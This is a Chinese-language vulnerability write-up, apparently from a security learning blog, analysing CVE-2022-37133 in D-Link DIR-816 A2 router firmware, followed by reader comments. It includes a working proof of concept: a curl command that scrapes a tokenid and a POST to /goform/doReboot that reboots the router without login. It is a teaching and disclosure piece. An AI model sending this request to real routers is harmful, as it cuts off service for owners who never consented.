D-Link CVE-2022-37133

安全入门
2022-08-29 21:23
37213

D-Link CVE-2022-37133

前言

此漏洞为笔者在分析D-Link DIR-816 A2_v1.10CNB04时所发现的,非常适合拿来入门学习路由器漏洞。这个文章笔者只写此漏洞的分析和利用(如有错误 欢迎指正),这个固件还有其他的一些漏洞(命令注入,堆栈溢出)

漏洞文件提取

从官网将固件下载下来

将固件下载下来之后需要提取里面的文件系统,笔者采用的是在线提取,链接:https://zhiwanyuzhou.com/multiple_analyse/firmware/

选择文件上传,将固件上传等待上传进度

分析完成之后点击解包所有文件下载即可将文件系统下载

然后用tar解包就可以看到如下东西

22:00:25 z1r0@z1r0deMacBook-Pro.local squashfs-root ls -l
total 0
drwxr-xr-x@ 63 z1r0  staff  2016  3  7  2017 bin
drwxr-xr-x@  3 z1r0  staff    96  3  7  2017 dev
drwxr-xr-x@  3 z1r0  staff    96  3  7  2017 etc
drwxr-xr-x@ 15 z1r0  staff   480  3  7  2017 etc_ro
drwxr-xr-x@  3 z1r0  staff    96  3  2  2017 home
lrwxr-xr-x@  1 z1r0  staff    11  3  7  2017 init -> bin/busybox
drwxr-xr-x@ 44 z1r0  staff  1408  3  7  2017 lib
drwxr-xr-x@  2 z1r0  staff    64  3  2  2017 media
drwxr-xr-x@  2 z1r0  staff    64  3  2  2017 mnt
drwxr-xr-x@  2 z1r0  staff    64  3  2  2017 proc
drwxr-xr-x@ 71 z1r0  staff  2272  3  7  2017 sbin
drwxr-xr-x@  2 z1r0  staff    64  3  2  2017 sys
drwxr-xr-x@  2 z1r0  staff    64  3  2  2017 tmp
drwxr-xr-x@  5 z1r0  staff   160  3  2  2017 usr
drwxr-xr-x@  2 z1r0  staff    64  3  2  2017 var

逆向分析漏洞点

漏洞出现在goahead中,goahead 自身实现了一个 web 服务器所需提供的基本功能,用户可以根据自身接口开发出各种各样的功能。

22:02:14 z1r0@z1r0deMacBook-Pro.local squashfs-root find . -name goahead                                                                                                                                    
./bin/goahead

将goahead丢入ida,对doReboot这个功能进行分析,在ida中搜索sleep 3 && reboot &然后跟进第三个即可。

websWrite是回显函数,可以看到最后会无条件执行system("sleep 3 && reboot &");

漏洞利用

查看doReboot的交叉引用可知在formDefineUtilities这个函数中被引用了,而formDefineUtilities被main函数引用了

当监听到url中请求了/goform时,例如:http://192.168.0.1/goform/doReboot则使用websFormHandler先进行理,再到doReboot用户自定义的的函数中进行处理。websFormHandler的函数处理如下

int websFormHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, 
	char_t *url, char_t *path, char_t *query)

其中wp里面包含了用户请求的相关信息,如请求头, 请求数据等。开发者通过 wp 这个参数就能获取到用户请求的信息。

在主页登陆抓一个包可以看到是POST /goform/formLogin请求

POST /goform/formLogin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/dir_login.asp
Cookie: curShow=
Upgrade-Insecure-Requests: 1

username=QWRtaW4%3D&password=&Language=Chinese&submit.htm%3Flogin.htm=Send&tokenid=1714636915

想要触发doReboot,可以模仿抓包的内容,最后的tokenid是必不可少的,可以使用curl http://192.168.0.1/dir_login.asp | grep tokenid来获取tokenid

所以触发doReboot可以使用如下poc,xxxx为获取到的tokenid

curl -i -X POST http://192.168.0.1/goform/doReboot -d tokenid=xxxx

稍等3秒就可以看到路由器重启

小结

此漏洞可做路由器漏洞入门学习,笔者使用的实体路由器(不知道这个固件进行模拟的时候需不需要patch一些东西),笔者有时间会继续写所发现此路由器的其他cve漏洞利用

分享到

参与评论

0 / 200

全部评论 4

zebra的头像
学习大佬思路
2023-03-19 12:14
Hacking_Hui的头像
学习了
2023-02-01 14:20
iotstudy的头像
思路清晰,棒棒的。
2022-09-14 08:32
z1r0的头像
(^ ^ )
2022-09-14 14:27
ke1os的头像
文章写的很棒!!非常看好z1师傅!!加油加油!!
2022-09-04 22:32
z1r0的头像
(^ ^ )
2022-09-05 10:11
投稿
签到
联系我们
关于我们